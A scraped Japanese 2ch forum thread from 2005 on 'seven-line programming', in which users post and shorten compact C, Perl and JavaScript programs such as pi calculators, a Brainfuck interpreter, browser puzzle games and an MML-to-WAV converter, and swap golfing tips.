05/02/02 00:52:14これでいいんじゃない
#include <stdio.h>
int a=10000,b,c=8400,d,e,f[8401],g;main(){for(;b-c;)f[b++]=a/5;for(;d=0,g=c*2;c
-=14,printf("%.4d",e+d/a),e=d%a)for(b=c;d+=f[b]*a,f[b]=d%--g,d/=g--,--b;d*=b);}
0834デフォルトの名無しさん
05/02/07 10:45:560835デフォルトの名無しさん
05/02/07 12:23:06これでいいんじゃない
//3.1415926535897931159979634685441851615905760000000000000000000000000000
//GCC
#include <stdio.h>
double PI();
int main(){printf("%10.70f\n",PI());}
double PI(){asm(" fldpi");
asm("fstpl-8(%ebp)");
asm("fldl-8(%ebp)");
asm("leave"); asm("ret");}
0836デフォルトの名無しさん
05/02/07 18:24:20part2の800番くらいのレスに、一応任意桁の精度で求めるやつがあるよ。
なにもいじらずに実行したら5000桁。part2の中でトリッキーの1で検索すれば出ると思う。
0837デフォルトの名無しさん
05/02/08 00:16:160838デフォルトの名無しさん
05/02/08 00:26:37#include <stdio.h>
#define s ( 5000 /*←希望する桁数*/ /4+2)
int main(){int i,n,c,t,j,l,a[]={4,9},r[s][4]={0,0,8,12},k=10000;for(n=0;n<s*15
;n++)for(i=0;i<2;i++){for(c=t=j=0;j<s;r[j++][i]+=((n&1)*-2+1)*l/(2*n+1))t=(l=k
*t+r[j][i+2])%a[i],c=(l=k*c+(r[j][i+2]=l/a[i]))%(2*n+1);for(t=0,j--;j+1;r[j--]
[i]%=k)t=(r[j][i]+=k+t)/k-1;}for(i=s-(t=1);i+1;*r[i--]%=k)t=(*r[i]=k+*r[i]+r[i
][1]+t)/k-1;printf("%d.",**r);for(i=1;i<s-1;printf("%04d",*r[i++]));return 0;}
0839836
05/02/08 01:04:56ハードディスク漁ってみたら見つけたので転載。
827 名前:トリッキーの1 投稿日:02/09/20 15:54
円周率です。意外と七行は簡単でした。オイラーの公式使ってますので収束遅いです。
#include <stdio.h>
#define s ( 5000 /*←希望する桁数*/ /4+2)
int main(){int i,n,c,t,j,l,a[]={4,9},r[s][4]={0,0,8,12},k=10000;for(n=0;n<s*15
;n++)for(i=0;i<2;i++){for(c=t=j=0;j<s;r[j++][i]+=((n&1)*-2+1)*l/(2*n+1))t=(l=k
*t+r[j][i+2])%a[i],c=(l=k*c+(r[j][i+2]=l/a[i]))%(2*n+1);for(t=0,j--;j+1;r[j--]
[i]%=k)t=(r[j][i]+=k+t)/k-1;}for(i=s-(t=1);i+1;*r[i--]%=k)t=(*r[i]=k+*r[i]+r[i
][1]+t)/k-1;printf("%d.",**r);for(i=1;i<s-1;printf("%04d",*r[i++]));return 0;}
0840デフォルトの名無しさん
05/02/08 02:04:11お前は頑張った。
0841デフォルトの名無しさん
05/02/08 02:06:59�d
0842デフォルトの名無しさん
05/02/16 20:40:400843デフォルトの名無しさん
05/02/16 20:57:190844黒死犬@Perl ◆EgxBlf8nvc
05/02/18 19:58:51sub bfc{(my$s=reverse shift)=~s/\s//sg;my($p,$I,$O,@l,@m,$c,$l)=(sub{},@_);
while($s=~/\G((\+)|(-)|(>)|(<)|(,)|(\.)|(\[)|(\])|.)(\1*)/sg){my$t=1+length$10
;if($8){($t<=@l)||die;for(1..$t){my$q=$p;$r=$l[-1];$l[-1]=$p=sub{$m[$c]?&$q:
&$r;};pop@l;}}elsif($9){for(1..$t){my$q=$p;my$r=\$l[@l];$$r=$p=sub{$m[$c]?&$$r
:&$q;};}}else{my$q=$p;my$b=$2?sub{$m[$c]=$m[$c]+$t&255}:$3?sub{$m[$c]=$m[$c]-
$t&255}:$4?sub{$c+=$t}:$5?sub{$c-=$t}:$6?sub{$m[$c]=<$I>}:$7?sub{print$O chr
$m[$c]for 1..$t}:die;$p=sub{&$b;&$q};}}$p;}$/='';bfc($_=<>,STDIN,STDOUT)->();
使用例:
perl ***.pl
...
0845デフォルトの名無しさん
05/02/18 21:16:51,rand(),srand();f(p,k){a[p]=n;c++;for(;k<8;)j=v[k++]+p,0<=j&j<h&!a[j]?f(j,0):0;
}main(){srand(time(0));for(i=c=n=t=0;i<h;i++)printf("%s","○\0●\0\n"+((i+1)%11
?3*(1+(a[i]=!(rand()%4)-1)):(a[i]=-1,6)));for(i=0;i<h;c=0,i++)!a[i]?n++,f(i,0),
t+=c,printf("%d.Island(%d)\n",n,c):0;printf("total:%d(%d)\n",n,t);return 0;}
某 C スレに出ていたゲーム
0846デフォルトの名無しさん
05/02/18 21:18:180847デフォルトの名無しさん
05/02/18 21:20:440848デフォルトの名無しさん
05/02/19 16:35:500850デフォルトの名無しさん
05/02/21 11:23:112: 型名が必要
2: 未定義のシンボル p
2: ) が必要
5: 宣言の構文エラー
0851デフォルトの名無しさん
05/02/21 11:36:52コンパイルオプション見直せ
0852デフォルトの名無しさん
05/03/01 11:19:01C=new Array("<font color=white>_</font>","■","日","優","EX","IT");
M=[1,1,1,1,1,1,1,1,1,3,0,0,1,1,1,1,1,0,2,2,1,1,1,1,1,0,2,0,1,1,1,1,1,1,1,0,
1,1,1,1,1,1,1,0,0,0,4,5,1,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1];
function S(){if(D>0){Q=P+(Z=(K>36 && K<41)?T[K-37]:0);K=0;F=0;if(M[Q]==2){
if(M[Q+Z]==0){F=M[Q+Z]=2;}if(M[Q+Z]>3){F=1;D--;}}if(M[Q]==0 || F!=0){M[Q]=3;
M[P]=0;P=Q;}Z=0;G="";for(R=0;R<72;R++){G+=C[M[R]];G+=(R%8==7)?"<BR>":"";}
document.body.innerHTML=G;setTimeout(S,99);}else{location.href=
"http://www2.ezbbs.net/24/techside/img/1108755226_1.jpeg";}}S();</script>
</body>
-----------------------------------------
JAVA SCRIPT
注目あびる優名偽業者の倉庫番
優=偽業者(上下左右で操作)
日=ダンボール
EXIT=ダンボールをここに運べ
0853デフォルトの名無しさん
05/03/01 12:37:21おおー、すごい。ちゃんと遊べる(`・ω・´)
…でも、クリアのご褒美がアレで(´・ω・`) (w
0854デフォルトの名無しさん
05/03/01 22:12:44ガイドライン板から来ますた
この板すごいなあ。
0855デフォルトの名無しさん
05/03/02 00:08:49ガ板でも紹介されているの?
0856デフォルトの名無しさん
05/03/03 04:19:470857デフォルトの名無しさん
05/03/03 07:10:18お前らイイヨイイヨー
0858デフォルトの名無しさん
05/03/03 09:15:05C=A=3+F(8);}else{I=F(T);O=F(5);T=T-I+O;if(C>0)M="次のバス停で"+I+"人降り "+O+
"人乗りました";if(C==0)M="次へを押して下さい";if(C<0){if(prompt("問題:何回"+
"バス停にいったでしょう?","") == A)M="あたり";else M="はずれ";L=1;}C--;}M+=
"<input type='button' value='次へ' onclick='B()'>";document.body.innerHTML=M;
}function F(V){return(Math.floor(Math.random()*V));}B();</script></body>
-----------------------------------
まぁ、簡単な数当てゲームです
0859デフォルトの名無しさん
05/03/04 22:02:357行に収まってるコードを展開してインデントつけて見やすくする7行プログラムを。お願いします。
0860デフォルトの名無しさん
05/03/04 22:07:040861デフォルトの名無しさん
05/03/04 22:41:57#include <stdio.h>
#define s (4000+10)
void main(){long a[s]={3},b[s]={0},i=1,j,k,l,m;for(m=k=1;m;i++){k+=8*i-8,l=i*(16
*i+8);for(j=0;j<s-1;)b[j]+=a[j],a[j++]*=k;for(m=j=0;j<s-1;)a[j+1]+=(a[j]%l)*10,m|=a[j],a
[j++]/=l;}for(i=s-2;i;)b[i-1]+=b[i]/10,b[i--]%=10;for(i=1;i<s-10;)printf("%d",b[i++]);}
円周率を求めるプログラム
計算が違うのはご愛嬌
0862デフォルトの名無しさん
05/03/04 22:55:11cpp
0863デフォルトの名無しさん
05/03/05 04:25:05過去スレにあったよ
0866デフォルトの名無しさん
05/03/08 18:06:35懐かしいな
このスレにも貼ってあったんだっけ・・・?
0867デフォルトの名無しさん
05/03/08 21:41:40unsigned d=22050,f,t=1,v=16383;char*a,b[999],*l="cdefgabr",o=0,*p,*q,r[]={-7,-5,
-3,-2,0,2,4,-1};w(z){fwrite(&z,4,1,p);}main(c,x)char**x;{p=fopen("i","r");fgets(
b,999,p);fclose(p);p=fopen("o","wb");for(a=b;*a;++a){(q=strchr(l,*a))?f=(o>0?440
<<o:440>>-o)*pow(2,(12.0+r[q-l]+(*a-43?0:1))/12.0-1),d=(atol(a+1)?88200/atol(a+1
):d),w(q-l-7?t:3),w(f),w(d),w(v):*a-111?*a-118?*a-64?*a-60?a-62?0:o++:o--:(t=at\
oi(a+1)):(v=1.0*atoi(a+1)*32767.0/128.0):(o=atoi(a+1)-4);}fclose(p);}
mml2o
mmlを中間ファイルに変換。iを読み込みoに吐き出す。
unsigned*b,d[9][999][5],l[9],g,q;char*p,a[]="o8",i,j,k;w(m){fwrite(&q,m,1,p);}t(
){q+=sin(.0001424758573*b[1]*b[4])*b[3];}u(){q+=rand()*b[3]*2-b[3];}main(){for(i
=9;i--;a[1]--)if(p=fopen(a,"rb")){for(j=0;fread(d[i][j],4,4,p);j++);fclose(p);}p
=fopen("w","wb");fputs("RIFF",p);w(4);fputs("WAVEfmt ",p);q=16;w(4);q=65537;w(4)
;q=44100;w(4);q*=2;w(4);q=1048578;w(4);fputs("data",p);w(4);for(i=1,q=0;i;w(2),
g++,q=0)for(i=0,j=9;j--;)if(k=(b=d[j][l[j]])[0]){i=1;k-2?k-1?0:t():u();b[2]-b[4]
?b[4]++:l[j]++;}fseek(p,4,0);q=36+g*2;w(4);fseek(p,40,0);q-=36;w(4);fclose(p);}
o2wav
中間ファイルをriff wavに変換。o0〜o8(1〜9トラック)を読み込みwに吐き出す。
mml2wavを作ろうと思ったけど7行は無理だったので二つに分割。
MMLで使えるものはcdefgab(音階),r(休符),音の長さ(1〜),v(ボリューム,0~127),@(音色,1-正弦波,2-ノイズ),o(オクターブ指定,1〜8)です。
0868デフォルトの名無しさん
05/03/09 01:34:512つまとめて7行に挑戦してみるか・・・
0869デフォルトの名無しさん
05/03/09 22:51:23#include <math.h>
unsigned d=22050,f,t=1,v=16383;char*a,b[999],*l="cdefgabr",o=0,*p,*q,r[]={-9,-7,
-5,-4,-2,0,2,0};w(z){fwrite(&z,4,1,p);}main(c,x)char**x;{p=fopen("i","r");fgets(
b,999,p);fclose(p);p=fopen("o","wb");for(a=b;*a;++a){(q=strchr(l,*a))?f=(o>0?440
<<o:440>>-o)*pow(2,(12.0+r[q-l]+(a[1]-43?0:(a++>0)))/12.0-1),d=(atol(a+1)?88200/
1.3/atol(a+1):d),w(q-l-7?t:3),w(f),w(d),w(v):*a-111?*a-118?*a-64?*a-60?*a-62?0:
++o:--o:(t=atoi(a+1)):(v=32767.0*atoi(a+1)/128.0):(o=atoi(a+1)-4);}fclose(p);}
unsigned*b,d[9][999][5],l[9],g,q;char*p,a[]="o8",i,j,k;w(m){fwrite(&q,m,1,p);}t(
){q+=sin(.0001424758573*b[1]*b[4])*b[3];}u(){q+=(rand()%b[3]*2)-b[3];}main(){for
(i=9;i--;a[1]--)if(p=fopen(a,"rb")){for(j=0;fread(d[i][j],4,4,p);j++);fclose(p);
}p=fopen("w","wb");fputs("RIFF",p);w(4);fputs("WAVEfmt ",p);q=16;w(4);q=65537;w(
4);q=44100;w(4);q*=2;w(4);q=1048578;w(4);fputs("data",p);w(4);for(i=1,q=0;i;w(2)
,g++,q=0)for(i=0,j=9;j--;)if(k=(b=d[j][l[j]])[0]){i=1;k-2?k-1?0:t():u();b[2]-b[4
]?b[4]++:l[j]++;}fseek(p,4,0);q=36+g*2;w(4);fseek(p,40,0);q-=36;w(4);fclose(p);}
おかしい部分を修正。
0870デフォルトの名無しさん
05/03/11 12:27:52function C(B){if(W && B!=7&& P[B]&& P[(N=B+1)]){P[Q]=P[B];P[Q+1]=P[N];P[B]=
P[N]=0;Q=B;K=[-1,-1,-1];for(F=i=0;i<8;i++){if(K[P[i]]>-1 && i!=(K[P[i]]+1))
{F=1;break;}K[P[i]]=i;}M=(!F)?"成功:":(!--W)?"残念:":"残り"+W+"手";}S();}
function S(){G="";for(i=0;i<8;i++){G+="<input type='button' name='btn'"+i
+" value="+V[P[i]]+" onclick='C("+i+")'>";}document.body.innerHTML=G+M;}
S();</script></body>
-----------------------
おしどりぱずる
黒白黒白の順で並んでいる碁石があります。
並んだ2個の碁石を、そのままの順で空いている所へ移動させる事を繰り返し、
最終的に黒と白を分ける様に(黒黒黒白白白 or 白白白黒黒黒 )に並べる事が
できればOK!!
操作ですが、クリックした石と右隣りの石が空いている所に移動します。
空白をクリックしても、右隣の石が空白でも移動しません。
一番右側の石をクリックしても何も起こりません。
0871デフォルトの名無しさん
05/03/12 04:58:50int c,d;p(){putchar(c);return;}n(){putchar('\n');return;}t(){int i;n();
for(i=0;i<d;i++)putchar('\t');return;}main(){while((c=getchar())!=EOF){
if((c=='{')||(c=='}'))(c=='{')?(d++,p(),t()):(d--,t(),p(),n());else if(
c==';')p(),t();else if(c!='\n')p();}}
過去ログ見れないので整形自分で作ってみました。
字数制限は問題ないけどいまいち汚い。
0872デフォルトの名無しさん
05/03/12 16:28:470873デフォルトの名無しさん
05/03/12 21:26:46過去スレはhtml化されてるよ。
七行プログラミング
http://pc.2ch.net/test/read.cgi/tech/984182993/
http://pc.2ch.net/tech/kako/984/984182993.html
七行プログラミング part2
http://pc3.2ch.net/test/read.cgi/tech/1018840143/
http://pc3.2ch.net/tech/kako/1018/10188/1018840143.html
七行プログラミング part3
http://pc2.2ch.net/test/read.cgi/tech/1033143528/
http://pc2.2ch.net/tech/kako/1033/10331/1033143528.html
part3の最初とpart2の900辺りにまとめらしきものがる。
0874デフォルトの名無しさん
05/03/13 17:31:48Winで bmp -> HTML に変換するやつ作ってみた。
でも3行オーバー。orz
#include <windows.h> /* Win2k & bcc 使い方 a.exe hoge.bmp > hoge.html */
main(int c,char**v){BITMAPINFOHEADER*H;HANDLE h=CreateFile(v[1],1<<31,0,0,3,1<<
7,0);long y,x,a,w,b,C,D,W=GetFileSize(h,0);BYTE*P,*B,*G=GlobalAlloc(1<<6,W);
BITMAPINFO*I=G+14;ReadFile(h,G,W,&W,0);B=G+*(DWORD*)(G+10);H=&I->bmiHeader;w=W=
H->biWidth;CloseHandle(h);b=H->biBitCount;w=b<9?w%(a=8/b)?w/a+1:w/a:W*(a=b/8);w
=w%4?(w/4+1)*4:w;puts("<html><body>");for(y=H->biHeight-1;y>-1;y--){D=~C;for(x=
0;x<W;x++){P=b<9?(BYTE*)(I->bmiColors+(((1<<b)-1)&(B[x/a+y*w]>>(b*(a-1-x%a)))))
:B+x*a+y*w;C=RGB(*P,P[1],P[2]);C-D?printf("%s<font style='color:#%06x'>",!x?"":
"</font>",C):0;printf("#");D=C;}puts("</font><br>");}puts("</body></html>");
GlobalFree(G);return 0;}
0875デフォルトの名無しさん
05/03/13 19:15:42ありがとう。
楽しくなってきたんだが、やりすぎると普段から書くコードが汚くなる弊害が…。
0876デフォルトの名無しさん
05/03/13 22:31:25むしろ逆かな
ここで行うことと逆のことをすると、ソースが読みやすくきれいになり、
さらに論理的に同一の部分を把握する能力もあがった
(ような気がする
と、7行で返答してみた
0877デフォルトの名無しさん
05/03/14 11:18:500878デフォルトの名無しさん
05/03/15 02:59:51public class A{byte b;A a;void p(){System.out.write(b);if(a!=null)a.p();}void n
(){if(++b==0)if(a!=null)a.n();else a=new A();}public static void main(String[]s
){A a=new A();for(;;){a.p();a.n();}}}
いい題名が思いつかなかった。
全てのバイト列を吐くプログラムです。
0879デフォルトの名無しさん
05/03/17 16:22:370880デフォルトの名無しさん
05/03/17 16:37:170881デフォルトの名無しさん
05/03/17 19:06:17芥川賞受賞作品って何?
0882デフォルトの名無しさん
05/03/17 19:19:26でも1行オーバー。俺の力では7行は無理ぽorz
<body><script>T=["豚飼","羊飼","猟師","豚","豚","羊","羊","狼",""];P=[1,1,1,1,1
,1,1,1,1];E=2;R=1;Q=0;M="";function H(M,N){return P[M]*P[N]<0}function F(N){if(
N==8){if(Q){R=R==1?-1:1;E=2;Q=0;for(i=0;i<8;i++)if(!P[i])P[i]=R;if((H(0,1)&!(H(
0,5)&H(0,6)&H(1,3)&H(1,4)))|(H(2,7)&!(H(7,0)&H(7,1)&H(7,3)&H(7,4)&H(7,5)&H(7,6)
)))M="NG"}}else if(P[N]==R&&E>0){if(N<3)Q++;P[N]=0;E--}else if(!P[N]){if(N<3)
Q--;P[N]=R;E++}P[8]=R;S()}function S(){T[8]=R==1?"<":">";G="";for(i=0;i<9;i++
)G+="<p align="+(P[i]<0?"left":P[i]?"right":"center")+" onClick='F("+i+")'>"+T[
i]+"</p>";document.body.innerHTML=G+M}S()</script><body>
IE6で動作確認
0883↑の遊び方
05/03/17 19:20:36ここにあるボートは2人乗り。
ボードを操作できるのは「羊飼」「豚飼」「猟師」の三人だけです。
羊飼は豚が大好物で、豚飼がいないところでは、豚を殺して食べてしまいます。
豚飼は羊が大好物で、羊飼がいないところでは、羊を殺して食べてしまいます。
狼は猟師がいないところでは、その場にいる他全員を食べてしまいます。
さて全員安全に向こう岸へ渡るには・・・
名前の文字をクリックしてボートに乗る候補を選んでください。
もう一度クリックすると候補から外れます。
候補に選べるのは同時に最大二人まで。
最下行のボート(<または>)をクリックすると、対岸へ移動します。
ただし、ボートを操作できる人が乗っていないと移動できません。
失敗すると最下行にNGと表示されます。
0884デフォルトの名無しさん
05/03/18 00:11:56ちょっと縮めた
<body><script>T=["豚飼","羊飼","猟師","豚","豚","羊","羊","狼",""];P=[1,1,1,1,1
,1,1,1,1];E=2;R=1;Q=0;M="";function H(M){return P[M>>3]*P[M&7]<0}function F(N){
if(N==8){if(Q){R*=-1;E=2;Q=0;for(i=0;i<8;i++)if(!P[i])P[i]=R;if((H(1)&!(H(5)&H(
6)&H(11)&H(12)))|(H(23)&!(H(56)&H(58)&H(59)&H(60)&H(61)&H(62))))M="NG"}}else if
(P[N]==R&&E>0){if(N<3)Q++;P[N]=0;E--}else if(!P[N]){if(N<3)Q--;P[N]=R;E++}P[8]=
R;S()}function S(){T[8]=R==1?"<":">";G="";for(i=0;i<9;i++)G+="<p align="+(P[i
]<0?"left":P[i]?"right":"center")+" onClick='F("+i+")'>"+T[i]+"</p>";document.
body.innerHTML=G+M}S()</script><body>
0885デフォルトの名無しさん
05/03/18 00:38:365行目 P[N]==R&&E>0 > P[N]==R&&E
6行目 T[8]=R==1? > T[8]=0<R?
0886882
05/03/18 01:05:58関数H(M)は思いつかなかった。すごい!
0887デフォルトの名無しさん
05/03/18 01:55:33if(!P[i])P[i]=R; → P[i]||(P[i]=R);
if(N<3)Q++; → Q+=N<3;
if(N<3)Q--; → Q-=N<3;
0888デフォルトの名無しさん
05/03/18 02:16:13P=[1,1,1,1,1,1,1,1,1];R=1; → P=[R=1,1, (略) ,1];
0889デフォルトの名無しさん
05/03/18 02:23:47試してみた。trueは-1になるみたい。
他の環境でも保証されるかは調べてみないとわからないな。
あと、onClick の''は、消してもIE6で動作OKだった。
ずるいかもしれないけど、
ボートの向き表示をやめるとか、
表示文字をアルファベット1文字に簡略化すれば、7行できそうだね。
0890デフォルトの名無しさん
05/03/18 02:53:177行目 +T[i]+ を +(i-8?T[i]:0<R?"<":">")+ に。
0891デフォルトの名無しさん
05/03/18 03:12:550892デフォルトの名無しさん
05/03/18 03:40:17<body><script>P=[1,1,1,1,1,1,1,1,R=1];E=2;M="";Q=0;function H(M){return P[M>>3]
*P[M&7]<0}function F(N){if(N==8){if(Q){R=-R;E=2;for(i=Q=0;i<8;i++)P[i]||(P[i]=R
);if((H(1)&!(H(5)&H(6)&H(11)&H(12)))|(!(H(56)&H(58)&H(59)&H(60)&H(61)&H(62))&H(
23)))M="<p>NG"}}else if(P[N]==R&&E){Q+=N<3;P[N]=0;E--}else if(!P[N]){Q-=N<3;P[N
]=R;E++}P[8]=R;S()}function S(){G="";for(i=0;i<9;i++)G+="<p align="+(P[i]<0?0:P
[i]?"right":"center")+" onClick=F("+i+")>"+(i-8?["豚飼","羊飼","猟師","豚","豚"
,"羊","羊","狼"][i]:0<R?"<":">");document.body.innerHTML=G+M}S()</script>
0893882
05/03/18 05:59:32すごい!
</p></body>が無いとか、align=0とか強引なところはあるけど、
ちゃんと動くし7行になってる!
失敗判定にバグ発見?
H(56)&H(58)&・・・となってるけど、
H(56)&H(57)&・・・が正しいはず。
発生する状況に持っていくのが大変だけど。
それから、いまさらだけど、
>>882 での H(7,0) は
>>884 で H(56) になってるけど H(0,7) でも同じだから H(7) で1文字減らせるね。
0894デフォルトの名無しさん
05/03/18 10:59:40H(M)いじって</body>追加。
<body><script>P=[1,1,1,1,1,1,1,1,R=1];E=2;M="";Q=0;function H(M){return P[M>>3]
*P[M&7]<0&(M%3?1:H(M-1))}function F(N){if(N==8){if(Q){R=-R;E=2;for(i=Q=0;i<8;){
P[i]||(P[i]=R);i++}if((H(1)&!(H(6)&H(12)))|(!(H(57)&H(60)&H(61)&H(62))&H(23)))M
="<p>NG"}}else if(P[N]==R&&E){Q+=N<3;P[N]=0;E--}else if(!P[N]){Q-=N<3;E++;P[N]=
R}P[8]=R;S()}function S(){G="";for(i=0;i<9;i++)G+="<p onClick=F("+i+") align="+
(P[i]<0?0:P[i]?"right":"center")+">"+(i-8?["豚飼","羊飼","猟師","豚","豚","羊",
"羊","狼"][i]:0<R?"<":">");document.body.innerHTML=G+M}S()</script></body>
0895デフォルトの名無しさん
05/03/18 11:09:204行目 "<p>NG" > "NG"
5〜7行目
G+="<p onClick=F("+i+") align="+
(P[i]<0?0:P[i]?"right":"center")+">"+(i-8?["豚飼","羊飼","猟師","豚","豚","羊",
"羊","狼"][i]:0<R?"<":">");
G+="<p onClick=F("+i+") align='"+(P
[i]<0?"":P[i]?"right":"center")+"'>"+["豚飼","羊飼","猟師","豚","豚","羊","羊",
"狼",0<R?"<":">"][i]+"</p>";
0896デフォルトの名無しさん
05/03/18 13:59:41[父][母][兄][姉][弟][妹][召(召使)][犬]
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rls=GGLD,GGLD:2004-51,GGLD:ja&q=%E7%88%B6+%E6%AF%8D+%E5%85%84+%E5%A7%89+%E5%BC%9F+%E5%A6%B9+%E5%8F%AC%E4%BD%BF+%E7%8A%AC
全部漢字1文字に出来る分、短くなるかも
0897882
05/03/19 11:44:01もしかして昔からこのスレ見てる古参の方ですか?
とりあえず、川渡りパズルの最終結果をまとめてみました。
<body><script>P=[1,1,1,1,1,1,1,1,R=1];E=2;M="";Q=0;function H(M){return P[M>>3]
*P[M&7]<0&(M%3?1:H(M-1))}function F(N){if(N==8){if(Q){R=-R;E=2;for(i=Q=0;i<8;){
P[i]||(P[i]=R);i++}if((H(1)&!(H(6)&H(12)))|(!(H(57)&H(60)&H(61)&H(62))&H(23)))M
="NG"}}else if(P[N]==R&&E){Q+=N<3;P[N]=0;E--}else if(!P[N]){Q-=N<3;E++;P[N]=R}P
[8]=R;S()}function S(){G="";for(i=0;i<9;i++)G+="<p onClick=F("+i+") align='"+(P
[i]<0?0:P[i]?"right":"center")+"'>"+["豚飼","羊飼","猟師","豚","豚","羊","羊",
"狼",0<R?"<":">"][i]+"</p>";document.body.innerHTML=G+M}S()</script></body>
配列の中で?演算子使えるとは知らなかった。
関数H(M)の再帰による2個同時判定は脱帽。
>>896
知ってたw
というか、実はそれを元にしてるんだけど、
こっちのほうが一般的で全年齢対象かとおもって。
このほかにも川渡りはいろいろバリエーションがあるみたいだね。
0898デフォルトの名無しさん
05/03/19 12:02:37「ぬるぽ」を「ガッ」してください。テンキーの1〜9に対応してます。
<body onKeyDown=K=event.keyCode-97><script>function Y(){if(B>9)R=" END";else{if
(K>=0&K<9){if(P[K]>0){P[K]=-4;S++}else B++;K=9}if(!F--){F=9-(T<80?++T>>4:5);P[N
=Math.floor(Math.random()*9)]||(P[N]=1)}G="<table>";for(i=0;i<9;i++){X=P[N=[6,7
,8,3,4,5,0,1,2][i]];Z=X<8?8-X:X-8;G+=(i%3?"":"<tr>")+"<td width=180>"+(N+1)+
"柱|"+(X<0?"ガッ":"・∀・)<ぬるぽ".substr(Z,8-Z))+"</td>"+((i-2)%3?"":
"</tr>");if(X)X++;B+=X>16;P[N]=X%17}}document.body.innerHTML=G+"</table>BAD:"+B
+" HIT:"+S+R;setTimeout(Y,80)}F=25;T=S=B=0;K=9;R="";P=[];Y()</script></body>
IE6で動作確認。
過去作品に比べると、それほど密度は無いし、面白みの少ないコードですが、
遊べる物を作ってみました。
setTimeoutもしくは、2行目のFに入れる値をいじると難易度を変更できます。
※2個のキーを連続で素早く入力した場合に、
最初のキー入力が無視されることがありますが、これは仕様ですw
0899デフォルトの名無しさん
05/03/19 16:43:15嘘ですごめんなさい。一晩中4目並べ作ってました。上の方にあるMMLは半音が出せなくて挫折しました。
0900デフォルトの名無しさん
05/03/19 17:13:04嘘つきは泥棒の始まりということで
通 報 し ま す た
0901デフォルトの名無しさん
05/03/19 17:30:490902デフォルトの名無しさん
05/03/19 17:40:430903デフォルトの名無しさん
05/03/19 19:26:37なかなか可愛い奴だな。
0904デフォルトの名無しさん
05/03/19 22:10:494目並べうp!
0905デフォルトの名無しさん
05/03/19 22:27:40本職ではないとは言えいい加減なデータ構造と適当に作ったアルゴリズムをすっきりさせればもっと縮むはず…てか半分くらいにはなると思うw
>903
JavaScriptちょろっと勉強しようとしてみたんですけど、JavaScript特有の小技なんて当然できないから結局Cで作っても変わらないという結論に。
んで当初の目的を見失ってだらだらと。です。
皆期待しすぎだよ〜
0906デフォルトの名無しさん
05/03/19 23:25:59天才プログラマー(某団体が認定するものではなく。)だよ。
世界に誇れるよ。
でも、160->7をするぐらいなら最初からつくるか・・・
0907デフォルトの名無しさん
05/03/20 04:46:27縮めて160行ならむりぽだけど…。
0908882
05/03/20 07:41:14関数F()とS()をまとめただけです。こんなとこを見落としてるなんて・・・。
完全に盲点でした。誰も気づかなかったのかな?
5行目 S()}function S(){ を削除。
7行目 S() > F(8)
関数F()の引数は省略しても、なぜか動いたけど、
安全のため一応、8を入れておきます。
0909デフォルトの名無しさん
05/03/20 22:00:27そっちで挑戦するか…。
0910デフォルトの名無しさん
05/03/20 23:27:53JavaSDKのサンプルになかったっけ?
TickTackToeだっけ?
0911910
05/03/20 23:28:440912デフォルトの名無しさん
2005/03/23(水) 11:05:31誰か分かる人いますか?
解答をだれかお願いします!
この程度の問題が分からないようじゃ
プログラマ失格なのか!?
俺失格!?
0913デフォルトの名無しさん
2005/03/23(水) 13:58:12総当たりで解を求めるプログラムを書けば桶
0914デフォルトの名無しさん
2005/03/23(水) 19:27:22ヒント:困ったら猟師に頼め
0915デフォルトの名無しさん
2005/03/24(木) 03:29:237行で?
0916デフォルトの名無しさん
2005/03/24(木) 05:19:23ヒント
1.猟師と狼が渡る → 猟師が戻る
2.猟師と豚が渡る → 猟師と狼が戻る
3.?と?が渡る → ?が戻る
4.?と?が渡る → ?が戻る
5.?と?が渡る → ?が戻る
6.?と?が渡る → ?が戻る
7.?と?が渡る → ?と?が戻る
8.猟師と羊が渡る → 猟師が戻る
9.猟師と狼が渡る → クリア!!
0917デフォルトの名無しさん
2005/03/24(木) 16:47:32ヒント
1.猟師と狼が渡る → 猟師が戻る
2.猟師と羊が渡る → 猟師と狼が戻る
3.?と?が渡る → ?が戻る
4.?と?が渡る → ?が戻る
5.?と?が渡る → ?が戻る
6.?と?が渡る → ?が戻る
7.?と?が渡る → ?と?が戻る
8.猟師と豚が渡る → 猟師が戻る
9.猟師と狼が渡る → クリア!!
0918デフォルトの名無しさん
2005/03/25(金) 23:54:570919デフォルトの名無しさん
2005/03/26(土) 00:51:430920デフォルトの名無しさん
2005/03/28(月) 12:49:10double pow(double,double);char*l="cdefgabr",a,b,c,o=0,*q,r[]={-9,-7,-5,-4,-2,0,2
,0};unsigned d=4,g=88200,f,e,v=4410,p;x(){for(e=0;isdigit(y());e=e*10+a-48);b=a;
return e;}y(){b?a=b,b=0:(a=getchar());return a;}main(){for(a=getchar();a>0;y()){
(q=strchr(l,a))?f=(o>0?440<<o:440>>-o)*pow(2,(12.0+r[q-l]+((c=getchar())-43?((b=
c)<0):1))/12-1),(printf("%d,%d,%d,%d\n",q-l-7?1:2,f,g/(x()?e:d),v)):a-111?a-118?
a-116?a-108?a-62?a-60?a-10?0:puts("0,0,0,0"),v=4410,d=4,g=v*20:--o:++o:(d=x()):(
g=10584000/x()):(v=32767*x()/128):(o=x()-4);}puts("0,0,0,0");}
unsigned*b,d[9][9999][5],l[9],g,q,v;char*p,i,j,k;w(m){fwrite(&q,m,1,p);}t(){q+=
sin(.00014247586*b[1]*b[4])*b[3]*(b[4]<99?1.0*b[4]/99:(v=b[2]-b[4])<200?1.0*v/2\
00:1);}main(){for(i=9;i--;j=0){do{b=d[i][j];scanf("%d,%d,%d,%d",b,b+1,b+2,b+3);}
while(*d[i][j++]);}p=fopen("w","wb");fputs("RIFF0000WAVEfmt ",p);q=16;w(4);q=65\
537;w(4);q=44100;w(4);q*=2;w(4);q=1048578;w(4);fputs("data",p);w(4);for(i=1,q=0;
i;w(2),g++,q=0)for(i=0,j=9;j--;)if(k=*(b=d[j][l[j]])){i=1;k-1?0:t();b[2]-b[4]?b[
4]++:l[j]++;}fseek(p,4,0);q=36+g*2;w(4);fseek(p,40,0);q-=36;w(4);fclose(p);}
mml2oの出入力を標準出入力、o2wavの入力を標準入力にした。
あと、ホワイトノイズを消したり、正弦波の発音を滑らかにしたり。
コンパイル確認はgcc 3.3.3 (cygwin special)。オプション-lm必須。
mml2oが識別可能なものは
cdefgab(音階),r(休符),音長(1〜),+(半音上げる)
>(1オクターブ上げる),<(1オクターブ下げる),o(オクターブ指定)
t(テンポ指定),l(既定の音長指定),v(音量指定,0〜127)
mml2oは1行を1トラックとします。
0921デフォルトの名無しさん
